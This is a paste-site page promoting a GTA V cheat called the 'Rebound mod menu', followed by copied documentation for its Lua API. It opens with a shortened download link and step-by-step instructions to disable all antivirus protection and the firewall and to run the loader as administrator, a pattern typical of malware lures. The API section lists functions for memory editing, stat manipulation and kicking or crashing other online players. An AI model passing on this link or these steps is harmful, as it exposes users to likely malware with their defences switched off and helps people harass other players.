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Rebound mod menu

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Nov 14th, 2024
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  1. -
  2. Download Here --> https://tinyurl.com/46sfc2pz?id39641543 (Copy and Paste Link)
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  9. Rebound mod menu
  10. And create an account on their website. Make sure to save your login credentials, and to ensure you have them memorized as well. You’ll need them later.
  11. How do I download the launcher/loader?
  12. Step 1: Download the loader from this link:
  13. Step 2: Extract the loader using 7zip or Winrar (If you don’t have anyone of these programs, please download one of them from the links below).
  14. How do I inject the mod menu into my game?
  15. To ensure the menu will inject correctly you need to follow these steps first:
  16. Step 1: Inside window security, head to (virus & threat protection) to manage settings underneath virus and & threat protection settings. Once inside make sure to toggle off everything within the category. It’s important to turn off any type of anti-virus program, whether its windows or some other third party software, as it prevents the mod menu from launching within the game.
  17. Step 2: Now inside windows security go to (firewall & network protection). Click on the network that says active next to it and turn it off completely.
  18. Step 3: Run the mod menu loader as an administrator.
  19. Step 4: Go to the activation panel tab on the loader.
  20. Step 5: Enter your forum credentials and put your purchased key into the (Rebound Key) section.
  21. Step 6: Press the activate button.
  22. Step 7: Once it has been successfully redeemed, login into the loader on the (Login Panel).
  23. Step 8: After putting your forum credentials, click on (GTA V) and log in.
  24. Step 9: Choose your product in the (Products Panel) which would either be [GTA Premium] or [GTA VIP] depending on the key you purchased. Make sure it matches the subscription you bought, otherwise your key becomes invalid and will not work.
  25. Step 10: Launch GTA 5 in windowed or windowed borderless mode with pause game on focus loss being turned off in the game settings graphics section.
  26. Step 11: Go into story mode, then on the rebound loader press LOAD in the (Products Panel) section to inject your cheat.
  27. Step 12: Once the mod menu has been injected, you will be greeted with a welcome message.
  28. How do I use the menu once I inject it into my game?
  29. Step 1: To open the mod menu press the F4 key.
  30. Step 2: To navigate in the mod menu use your arrow keys.
  31. Step 3: To go back in the menu press the BACKSPACE key.
  32. Step 4: To confirm your selection in the mod menu press the ENTER key.
  33. I'm having an issue after injecting, even after following the steps. Please help!
  34. If you are having an issue injecting after following the appropriate steps above, please download visual studio redistributable at this link:
  35. After downloading and installing, please restart your pc for it to work!
  36. My key has stated that it's invalid in my attempt to redeem it. What can I do?
  37. It was either probably invalid, hasn’t been pasted correctly or has already been taken/claimed by another user. Try opening a ticket in our live chat support feed or through our contact support icon on the top section of our website for further assistance.
  38. I'm having an issue with finding a full GTA online session. What can I do about this?
  39. Can’t find a full session? Head to network settings, then go info spoofer and enable it for your region. Click onto streamer mode and click “find new session” and you should be able to load into full games now!
  40. My game keeps on crashing no matter what! Please help, what can I do to fix this?!
  41. Follow these steps below to try and correct the current error you’re currently facing with:
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  43. Reinstall rebound (delete documents folder, delete loader).
  44. Make sure your antivirus is off / rebound services are excluded (or both to be sure).
  45. Make sure your game is windowed/borderless.
  46. Make sure your graphics drivers are fully up to date.
  47. Make sure you run direct x 10 (Seen this as a fix before for some).
  48. Make sure you run the rebound loader as admin.
  49. Make sure you load into single player first, and then press load on the rebound loader .
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  52. If crashing into online, load into single player, disable all spoofs and protections including defaults, then load online.
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  54. Make sure you have the latest C++ redist files installed.
  55. Make sure you aren’t carrying too many resources with rebound. (Could be too many vehicles, could be too many people in overseer etc).
  56. Make sure you have no overlays (steam, discord etc).
  57. Make sure your windows username has no special characters in it.
  58. Close every application not needed to run gta.
  59. Make sure you don’t use any external mods for gta, could be graphics mods/other mods in the gta directory.
  60. Reverify game files.
  61. Reinstall gta/rebound.
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  63. How do I reset my HWID ID?
  64. To reset a user’s HWID, login via the loader then head to the User Panel. Click Reset HWID, and you should be set.
  65. The game doesn't seem to open for me whenever I launch/inject Rebound. Please help?
  66. Try opening the game without the menu. If it opens fine without the menu, delete all the rebound files and reinstall. If that doesn’t work, verify game files for GTA5.
  67. Additional Information:
  68. For additional information regarding Rebound’s feature list, theming, or other related questions, check out these useful threads dedicated to help make your modding experience a bit more smoother and easier to understand and grasp.
  69. Rebound Mod Menu For GTA V
  70. Rebound Mod Menu is a truly legendary mod menu for GTA V, renowned for its packed features and high-quality user interface. With tons of unique features, including a heist editor, vehicle options, and trolling capabilities, this mod menu offers an unparalleled level of customization and control. And with frequent updates to ensure maximum stability, Rebound Mod Menu is a must-have for any GTA V player looking to take their gaming experience to the next level. Whether you're a casual player or a hardcore enthusiast, Rebound Mod Menu has something for everyone. So why wait? Try it out today and see for yourself why it's the go-to mod menu for GTA V players everywhere.
  71. Feature List
  72.  
  73. Desync Kick
  74. LUA Scripting
  75. Heist Editor
  76. Custom Vehicles
  77. Unlock All
  78. & much more
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  80. ReboundCheats/lua-documentation
  81. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
  82. Name already in use
  83. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
  84. Sign In Required
  85. Please sign in to use Codespaces.
  86. Launching GitHub Desktop
  87. If nothing happens, download GitHub Desktop and try again.
  88. Launching GitHub Desktop
  89. If nothing happens, download GitHub Desktop and try again.
  90. Launching Xcode
  91. If nothing happens, download Xcode and try again.
  92. Launching Visual Studio Code
  93. Your codespace will open once ready.
  94. There was a problem preparing your codespace, please try again.
  95. Latest commit
  96. Git stats
  97. Files
  98. Failed to load latest commit information.
  99. README.md
  100. The Rebound LUA API, unlike most other LUA apis, implements 99% of the game's natives. It is a lot more extensive, meaning you can write full menu bases with it.
  101. If you want to find documentation on a game native, you're gonna have to browse: http://www.dev-c.com/nativedb/
  102. The syntax to call natives is very, very simple.
  103. To call a native, simply take its namespace, add an underscore, and then its name, like so:
  104. function get_local_ped() return PLAYER_GET_PLAYER_PED_SCRIPT_INDEX(PLAYER_PLAYER_ID()) end
  105. Now on to the actual Rebound API that exposes the menu's functions so that you may add features or do things that the natives won't let you do.
  106. The stock LUA libraries Rebound implements are:
  107. You need to be really careful about what scripts you run if you turn off OS SAFE MODE in the menu.
  108. -- Logs a message to the Rebound console. void log_info(message) -- Logs an error to the Rebound console. void log_error(message)
  109. -- Writes a byte to a given address. void write_byte(address, byte) -- Reads a byte at a given address. byte read_byte(address) -- Writes an int to a given address. void write_int(address, integer) -- Reads an int from a given address. int read_int(address) -- Writes a float to a given address. void write_float(address, floating) -- Reads a float from a given address. float read_float(address) -- Writes a bool to a given address. void write_bool(address, boolean) -- Reads a bool from a given address. void read_bool(address) -- Returns the game's base (So you can use offsets) uint64 get_game_base()
  110. You can use these APIs to interact with the game's scripts.
  111. -- Gets a global's integer value at a given index int get_global_int(index) -- Gets a global's floating point value at a given index float get_global_float(index) -- Writes an integer value to a global's address at a given index void set_global_int(index, value) -- Writes a floating point value to a global's address at a given index void set_global_float(index, value) -- Gets a local's integer value int get_local_int(script_hash, index) -- Gets a local's floating point value float get_local_float(script_hash, index) -- Writes an integer value to a local's address void set_local_int(script_hash, index, value) -- Writes a floating point value to a local's address void set_local_float(script_hash, index, value) -- Sends a script event to another player (First argument must be the event, other arguments are the event's parameters) void trigger_script_event(int player_index, int arguments_amount, int[] arguments) -- Gets the index of the current session host. int get_session_host() -- Checks if the player at the given index is the session host bool is_session_host(index) -- Breakup kicks the target void breakup(player_id) -- Master kicks the target void master_kick(player_id) -- Master crashes the target void master_crash(player_id)
  112. -- Spawns a world object -- hash (numeric model value) -- location (Vector3) -- is_networked (whether others can see it) Object spawn_world_object(hash, location, is_networked)
  113. You can use these APIs to gather input information.
  114. -- Returns true if a virtual key code is being pressed -- You can find virtual key codes here: https://docs.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes bool is_key_pressed(virtual_key_code) -- Pops up the game keyboard to gather input string get_keyboard_input()
  115. You can use these APIs to send information to the player.
  116. -- This will send a notification using Rebound's custom notifications framework. void notify(title, content)
  117. You can use these APIs to interact with network players.
  118. -- Internally calls the STAT_GET_type native and retrieves the value from memory for you. int stat_get_int(int statHash) bool stat_get_bool(int statHash) float stat_get_float(int statHash) -- Calls STAT_SET_MASKED_INT with the specified parameters bool stat_set_masked_int(int statHash, int data, int shift, int bitNumber, bool save) -- Calls STAT_SET_BOOL_MASKED with the specified parameters bool stat_set_bool_masked(int statHash, bool value, int mask, bool save) -- Sets a packed bool stat, overrideCharacterSlot should always be -1 for -- the current character. It can be 0 for the first MP character -- and 1 for the second MP character. void set_packed_stat_bool(int statHash, int value, int overrideCharacterSlot) -- Sets a packed int stat, overrideCharacterSlot should always be -1 for -- the current character. It can be 0 for the first MP character -- and 1 for the second MP character. void set_packed_stat_int(int statHash, bool value, int overrideCharacterSlot) -- Sends a message in the game chat (Takes into account impersonation settings as well) void send_chat_message(message)
  119. You can use these APIs to add features to the menu.
  120. -- Adds a feature to the "Script Features" submenu of network players. -- Make sure the feature function takes an index as input, example of a valid feature: -- -- function print_position(index) -- name = PLAYER_GET_PLAYER_NAME(index) -- log_info(name) -- vector = ENTITY_GET_ENTITY_COORDS(PLAYER_GET_PLAYER_PED_SCRIPT_INDEX(index), 0) -- log_info(tostring(vector.x)) -- log_info(tostring(vector.y)) -- log_info(tostring(vector.z)) -- end -- void add_player_function(submenu, name, feature) -- Does the exact same thing as the function above, except it's a per-player toggle, -- and when it's on the function is called every tick with the player's index. void add_player_toggle_function(submenu, name, feature) -- Like the add_player_function, except the function doesn't take any parameters. -- This is a regular on click feature. void add_function(submenu, name, feature) -- Like the add_function, except this function uses a toggle, and is called every -- time the toggle is on. void add_toggle_function(submenu, name, feature) -- Registers a function to be called every time Rebound -- receives a script event. -- -- Return false to deny the event, return true to let it through. -- -- You can build custom protections with this. -- -- Example function that prints all event IDs received: -- -- function script_event_hook(event_id, raw_event_parameters, amount_of_parameters, sender_index) -- log_info(event_id) -- -- return false to stop the event from getting receieved, true lets it through -- return true -- end -- void add_script_event_callback(hook) -- Registers a function to be called every time Rebound -- receives a net event. -- -- Return false to deny the event, return true to let it through. -- -- You can build custom protections with this. -- -- Example function: -- -- function net_event_hook(sender_index, receiver_index, net_event_name) -- -- return false to stop the event from getting through -- return true -- end -- void add_net_event_callback(hook) -- Registers a function to be called every time Rebound -- receives an object sync. -- -- Return false to deny the sync, return true to let it through. -- -- You can build custom protections with this. -- -- Example function: -- -- function object_hook(player_index, object_type, object_hash) -- -- return false to stop the object from getting synced -- return true -- end -- void add_object_callback(hook) -- Registers a function to be called every time Rebound -- receives a message in the game's chat. -- -- You can build custom chat filters with this, or your own -- implementation of chat commands. -- -- Example function: -- -- function chat_hook(player_index, message) -- log_info(message) -- Logs the message that was sent in the game's chat -- end -- void add_chat_callback(hook)
  121. 99% of natives from http://www.dev-c.com/nativedb/ are available, and callable with the calling convention explained above, go wild.
  122. If you ever find yourself using while true loops or blocking the fiber completely with a while loop, make sure you call
  123. at the end of the loop's body, to ensure you don't clog up the game.
  124. The lua API uses types and enums to describe several features within the game.
  125. CAR = 0, BIKE = 1, BOAT = 2, DOOR = 3, HELI = 4, OBJECT = 5, PED = 6, PICKUP = 7, PICKUP_PLACEMENT = 8, PLANE = 9, SUBMARINE = 10, PLAYER = 11, TRAILER = 12, TRAIN = 13,
  126. About
  127. The LUA documentation (and examples) of the reboundcheats.org GTA menu LUA API.
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